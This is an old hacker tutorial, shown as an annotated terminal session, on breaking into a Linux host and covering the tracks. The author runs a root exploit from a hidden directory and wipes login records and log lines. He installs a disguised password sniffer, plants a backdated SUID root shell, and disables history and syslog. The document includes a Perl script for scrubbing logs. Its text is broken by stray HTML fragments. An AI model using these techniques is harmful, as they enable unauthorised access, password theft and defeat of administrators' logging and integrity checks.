Topics:
A Walk Around A Hacked System
Messages and Syslog
xferlog
The Cron Table
I can't stress the importance of this enough! Clean, Clean!!!! In this section
I will take you on the system first hand and show you some basics onwhat to
look for, and
on how to wipe your presence from the system. Tostart this lets
logon a system:
Here is the step by step through the basic process:
******----> see who is on the machine
[/home/master]finger @victim.net
[victim.net]
No one logged on.
******----> good no one on, we will log on
[/home/master]telnet victim.net
Trying xxx.206.xx.140...
Connected to victim.net.
Escape character is '^]'.
Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1
Kernel 1.2.13 on
a i586
ns.victim.net login: jnsmith
Password:
Linux 1.2.13.
You have new mail.
******----> Don't read his mail, you can cat all mail in /var/spool/mail
and in each
users /home/username/mail directory
******----> Check again to see if anyone is on
[jnsmith@ns jnsmith]$ w
5:36am up 18 days, 8:23, 1 user, load average:0.01, 0.00, 0.00
User tty &
nbsp; login@ idle JCPU PCPU what
jnsmith ttyp1 5:35am &n
bsp; w
******----> Just me, lets get root and get lost in the utmp!
[jnsmith@ns jnsmith]$ cd .term
******----> Nice directory to hide stuff ;)
[jnsmith@ns .term]$ ./.u
******----> I had this already waiting, it was the umounc.c exploit
Di scovered and Coded by Bloodmask and Vio, Covin 1996
******----> We are now root, lets use z2 to become invisible
bash# z2 jnsmith
Zap2!
******----> Let's see if we are still on ...
bash# w
5:37am up 18 days, 8:24, 0 users,&
nbsp; load average:0.08, 0.02, 0.01
User tty login@ idle JCPU PCPU what
******----> Hmm. now there is no one on the system, i must have loggedoff ;)
&nb
sp;
******----> We know we are root, but lets check you you can see ...
bash# whoami
root
bash#
******----> Yup, root .. What directory are we in?
bash# pwd
/home/jnsmith/.term
******----> Let's check the logs
bash# cd /var/log< P>******----> most of the time in /var/adm, this box uses /var/log
bash# grep dormroom *
maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhous
e.com
******----> Yup, the z2 took care of everything but this maillog ...
bash# pico maillog
******----> in pico i did a ctrl w, and searched for dormroom then ctrlk to
delete lin
es
******----> These were the lines deleted
Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com
Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com
bash# grep dormroom *
******----> Yup .. a ll clear ;)
bash# w
5:41am up 18 days, 8:27, 0 users, load average:0.00, 0.00, 0.00
User tty login@ idle JCPU PCPU what
****** ----> Yup .. all clear here too ;)
******----> Lets show you how you would use lled and wted if the grepwould
have shown something in those files
bash# cd ~jnsmith/.term
bash# lle
d
bash# lled -c dormroom.playhouse
Entries stored: 527 Entries removed: 0
Now chmod lastlog.tmp and copy over the original /var/log/lastlog
******----> Nothing in the lastlog
bash#
bash# wted -e jnsmith
Entries stored: 254 Entries remov
ed: 0
Now chmod wtmp.tmp and copy over the original /var/log/wtmp
******----> Nothing in the wtmp, both of these would have shown in thegrep
we just did in the /var/log (just showin
g you the commands)
******----> Lets do some sniffing ...
bash# pico linsniffer.c
******----> I changed this line to tell where i want the log to go:
#define TCPLOG "/tmp/.pinetemp.000"
******----> lets look at what is running to think of a name
that
looks almost like it belongs there
bash# ps -aux
root 143 0.0 0.0 84 0 ? SW Jan 1
0 0:01 (lpd)
root 154 0.0 0.0 118 0 ? SW Jan 10 0:00(smbd)
root 163 0.0 0.5 7
6 176 ? S Jan 10 0:00 nmbd -D
root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty)
root
; 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty)
root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (gett
y)
root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty)
root 201 0.0 0.0 88 0 s00
SW Jan 10 0:00 (uugetty)
root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update)
root 210
0.0 0.3 35 124 ? S Jan 10 0:03 update(bdflush)
root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd
root
11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd
root 14153 0.0 0.8 70 268 ? S Jan 16 0:03
./inetd
root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named
root 14365 0.0 0.0 76 0 v02 SW Jan 16 &n
bsp; 0:00 (getty)
root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd
******----> lets compile it and name it nmb
bash# gcc linsniffer.c -o nmb
******----> lets load it ...
bash# nmb&
[1] 22171
******----> lets check the log file in /tmp
bash#
bash# cd /tmp
bash# ls -al .pin*
total 15691
-rw-rw-r-- 1 root jnsmith
; 0 Jan 29 05:50 .pinetemp.000
******----> There it is, but we don't want our login to know about it!
bash# chgrp root .pin*
******----> Lets look now ....
bash# ls -al .pin*
-rw-rw-r-- 1 root root
0 Jan 29 05:50 .pinttemp.000
bash#
******----> This is good, Lets make an SUID shell so we don't have to
do this ag
ain. (check for MD5 or other programs in the cron)
bash# cd /bin
bash# ls -l sh
lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash
******----> This is a sym link ...
bash# ls -l bash
-rwxr-xr-x 1 root root 299296 Nov 2 1995 bash
******----> here is the real file ... lets see what to name it tha
t
looks like it belongs
bash# ls
arch df ksh
ping tar
ash dmesg &
nbsp; ln ps tcsh
bash dnsdomainname login&nbs
p; pwd true
cat domainname ls &nb
sp; red ttysnoops
chgrp echo &nb
sp;mail rm umount
chmod ed
; mkdir rmdir uname
chown false &
nbsp; mknod sed vi
cp findterm &nb
sp; more setserial view
cpio gunzip mo
unt sh vim
csh gzip &
nbsp; mt stty zcat
date hostname
; mv su zsh
dd kill&nb
sp; netstat sync
******----> How about a new command in linux, most admin's won't know
th
e difference ;) We will call it findhost
bash# cp bash findhost
******----> ok, now lets have a look at our new unix command ...
bash# ls -l findhost
-rwxr-xr-x 1 root jnsmith 29929
6 Jan 29 05:59 findhost
******----> We need to change the group owner, touch the file date,
and make it SUID
bash# chgrp root findhost
bash# ls -l findhost
-rwxr-xr-x &nbs
p; 1 root root 299296 Jan 29 05:59 findhost
bash# chmod +s findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 29929
6 Jan 29 05:59 findhost
bash# touch -t 111312331995 findhost
bash# ls -l findhost
-rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost
bash# ls -l m*
-rwxr-xr-x &
nbsp; 1 root root 64400 Oct 31 1995 mail
-rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir<
BR>-rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod
-rwxr-xr-x 1 root root 20272 Nov
1 1995 more
-rwsr-xr-x 1 root root 26192 Nov 1 1995 mount
-rwxr-xr-x 1 root root &
nbsp; 8381 Oct 31 1995 mt
-rwxr-xr-x 1 root root 12753 Nov 2 1995 mv
******----> Now it looks like it belongs ... lets see if
&nb
sp; it gives us root, exit our current root shell..
bash# exit
[jnsmith@ns .term]$ cd /bin
[jnsmith@ns /bin]$ whoami
jnsmith
[jnsmith@ns /bin]$ findhost
[jnsmith@ns /bin]# whoami
root
[jn smith@ns /bin]# cd
******----> cd {enter} takes us back to our home dir
[jnsmith@ns jnsmith]# ls
mail
[jnsmith@ns jnsmith]# echo + +>test
[jnsmith@ns jnsmith]# ls -l
total 2
drwx------ 2 jnsmith jnsmith &nbs
p; 1024 Jan 11 22:47 mail
-rw-rw-r-- 1 root root 4 Jan 29 06:11 test
******----> See now we are uid=0 gid=0
[jnsmith@n s jnsmith]# rm test
******----> clean as we go .....
[jnsmith@ns jnsmith]# w
6:12am up 18 days, 8:58, 0 users, load average:0.07, 0.02, 0.00
User tty login@
idle JCPU PCPU what
******----> Just making sure we are still alone ....
[jnsmith@ns jnsmith]# ls -al /tmp/.p*
total 15692
-rw-rw-r-- 1 root root &nb
sp; 157 Jan 29 06:10 .pinttemp.000
******----> were getting passwords already ;)
[jnsmith@ns jnsmith]# ls -al
total 32
drwxrwx--- 5 jnsmith jnsmith 1024Jan 29 06:11 .
drwxr-xr-x 33 ro
ot users 1024 Jan 22 16:53 ..
-rw-r----- 1 jnsmith jnsmith 1126Aug 23 1995 .Xdefaults
lrwxrwxrwx 1 jnsmith jnsmith &nbs
p; 9 Jan 1 21:40 .bash_history -> /dev/null
-rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout
-rw-r--r-- 1 root jns
mith 220 Jan 1 03:12 .bash_profile
-rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc
-rw-rw-r-- 1 root jnsmith &nb
sp;5433 Jan 11 22:47 .pinerc
drwxrwxr-x 2 jnsmith jnsmith 1024Jan 29 06:22 .term
drwxr-x--- 2 jnsmith jnsmith 1024Feb 17 1996 .xfm
drwx------ 2 jnsmith
; jnsmith 1024Jan 11 22:47 mail
[jnsmith@ns jnsmith]#
******----> Make sure you place this sys link .bash_history to /dev/nullso
you do not leave a history behind.
..
This is the command to do it, but make sure you delete the old .bash_history
if it is there.
ln -s /dev/null .bash_history
Ok logout ...
Ok, there is another way!!!!!!
If you can remember and make it a practice that you NEVER forget, getus
ed to
this.... EVERY TIME you login to an account type: unset HISTFILE
This will tell the system to delete your history file when you logoffthe
system... USE THIS! Get into the practice! DON'T FORGET!
-----------
In the log directory you will find a file called 'messages' each systemis
different as far as what is logged to what files or what file name. Make
sure to ch
eck in the /etc/syslog.conf file for additional logging to
remote machines. If this is being done you will see somethinglike this:
*.* &n bsp; @somehostname.xxx
Or just to check and see where the log files are going you can viewthis file
/etc/syslog.conf.
Here is a sample...
bash# more syslog.conf
# /et
c/syslog.conf
# For info about the format of this file, see "man syslog.conf" (theBSD man
# page), and /usr/doc/sysklogd/README.linux.
#
# NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES.
# I don't know why.
#
*.=info;*.=notice
; /var/adm/messages
*.=debug &nb
sp; /var/adm/debug
*.warn
/var/adm/syslog
*.warn &n
bsp; /root/.../syslog
*.=crit;kern.none &nbs
p; /var/adm/critical
kern.info;kern.!err &nb
sp; /var/adm/kernel-info
mail.*;mail.!=info
/root/.../mail
mail,news.=info
/root/.../info
mail.*;mail.!=info &nb
sp; /var/adm/mail
mail,news.=info /var/adm/info
*.ale
rt root,bob
*
.=info;*.=notice @quality.com
*.=debug
; @quality.com
*.warn &nbs
p; @quality.com
*.=crit;kern.none &nbs
p; @quality.com
kern.info;kern.!err &n
bsp; @quality.com
mail.*;mail.!=info &
nbsp; @quality.com
mail,news.=info &nb
sp; @quality.com
Here some of the logs are going into a hidden directory in the /rootdirectory
and a copy of every alert and warning are being also sent to the logsat
quality.com. wtmp, utmp and lastlog are
still local, so you canstill be
ok, just make sure not to use 'su' on a system like this. Alsonotice above
that alert messages are being mailed to root and bob on this system.
Also take note that syslog, mail, and, info are being sent to th
e /var/adm
directory to fool you into thinking all of the logs are in /var/adm! If you
edit /var/adm the admin can run a diff on the backup files in the /rootdir.
Ok, so you go to the /var/adm or /var/log directory and:
grep yourhost * |mor
e
grep your ip * |more
you see that some files are logging your connection, mark down whatfiles
are logging you and edit the /etc/syslog.conf file. You willfrom trial
and error in most cases make it skip the logging process of your domain
.
BUT, make sure to do a few things. After you edit the file restartthe
syslogd. You can do this by doing a ps -x
$root> ps -x
39 ? S 1:29 /usr/sbin/syslogd
find the syslogd and notice the process id he re is 39, so you do:
kill -HUP 39
This will restart the process and put your changes into effect.
The other thing is to make sure to do a ls -l /etc/syslog.conf BEFOREyou
edit it and touch the file date back to the original date and timeafter
you edit it. This way if they notice the logging looks different,they
will check the file date and think it must be something else. Most admins
would not know how to setup this file in the first place, so you insome
(or most) cases ok
to edit it.
Here is another file to look at.
/etc/login.defs
# Enable "syslog" logging of su activity - in addition to sulog filelogging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB &
nbsp; yes
SYSLOG_SG_ENAB yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE /home/users/bob/.list
Notice here that there is
an su log file in a hidden file in one of
the admin's directories.
-----------
The xferlog can be edited with your favorite text editor, pico, joe,vi, etc..
you can then sear
ch for your transfers and delete the lines and savethe file.
You will need to do this after transferring any files.
You will also want to grep the files in the /usr/local/etc/httpd/logdirectory
if you have used the web or phf on the system to remo
ve your presence
from there.
grep (username or hostname) * |more
If you need to find the logs for httpd you can do a find -name httpd.conf
-print and view the config file you see where the httpd logs are going.
There might be different ftp log
s for transfers in some ftp or virtualftp
directory some where. View the files in the /etc/ftp* to findwhat the ftp
setup is on the box.
Here I have shown you to edit log files using pico, joe, or other editors.
There is another way... Som
etimes log files might be real large andthe editor just might
not cut it ;) Here is what to do...
You have a messages file 20 meg ... wow!
If you want to get the lines that have fudge.candy.com out of this fileyou
might want to do this:
grep -v fudge.candy >messages.2
rm messages
mv messages2 messages
then kill -HUP <process id for syslogd>
-v means grep everything that does not match the line, so you are greping
the file -what you do not want to a new file name messages.
2. Check the
file size after the grep to make sure no errors were made and replacethe
old one with the new one and restart syslogd.
This can also be used with other logs like xferlog, syslog, etc...
Here is a perl script that will do it for you from command line.
------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV.Any
# linesMATCHING regular e
xpression will *not* be printed to
# STDOUT.
#
#
die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];
# Read in contents of
file.
$/ = undef;
$contents="";
if (!defined($filename)) {
# Use STDIN.
$contents = scalar <STDIN>;
} else {
# Use FILE.
open(FILE, "<$filename") || die("-RipText- Cannot open $filename:$!\n");
$contents = scalar <FILE>;
close(FILE);
}
@contents = split(/\n/, $contents);
# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename:$!\n");
foreach (@contents) {
print
FILE "$_\n" unless (/$regexp/i);
}
close(FILE);
0;
------------------------ end of riptext.pl
Remember to restart syslogd after you edit files, true you will notsee
the stuff, and it will be gone to your eyes, but if you do not restarttheprocess, the data is still in memory and can be retrieved until yourestart
the process!
Also look for notes in the syslog that the syslogd process was restartedat
such and such a time.
---------------
Make sure to look at admin's and root cron files, here in this systemwe find
a root cron file in: /var/spool/cron/crontabs
bash# ls -l
total 1
-rw------- 1 root root&n
bsp; 851 Jan 26 14:14 root
bash$ more root
# This updates the database for 'locate' every day:
40 07 * * * updatedb 1> /dev/null2> /dev/null
40 */12 * * * &
nbsp; /sbin/checkfs
there is a file running here in /sbin called checkfs.
bash$ cd /sbin
bash$ /sbin # more checkfs
#!/bin/bash
if [ ! -f /etc/default/fs/.check ]; then
echo WARNING!! Filecheck default file ca
nnot be found. Pleaseregenerate.
exit
fi
md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /bin/* >> /
tmp/filecheck 2>/dev/null
md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /lib/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
diff /tmp/fil
echeck /etc/default/fs/.check > /tmp/filecheck2 2>&1
if [ -s /tmp/filecheck2 ]; then
mail -s FSCheck bin < /tmp/filecheck2
fi
rm /tmp/filecheck /tmp/filecheck2 2>/dev/null
md5 is a checksum file, if you change or add a bin
ary file to any ofthe
above directories the information of the changes
will be mailed tothe
admin.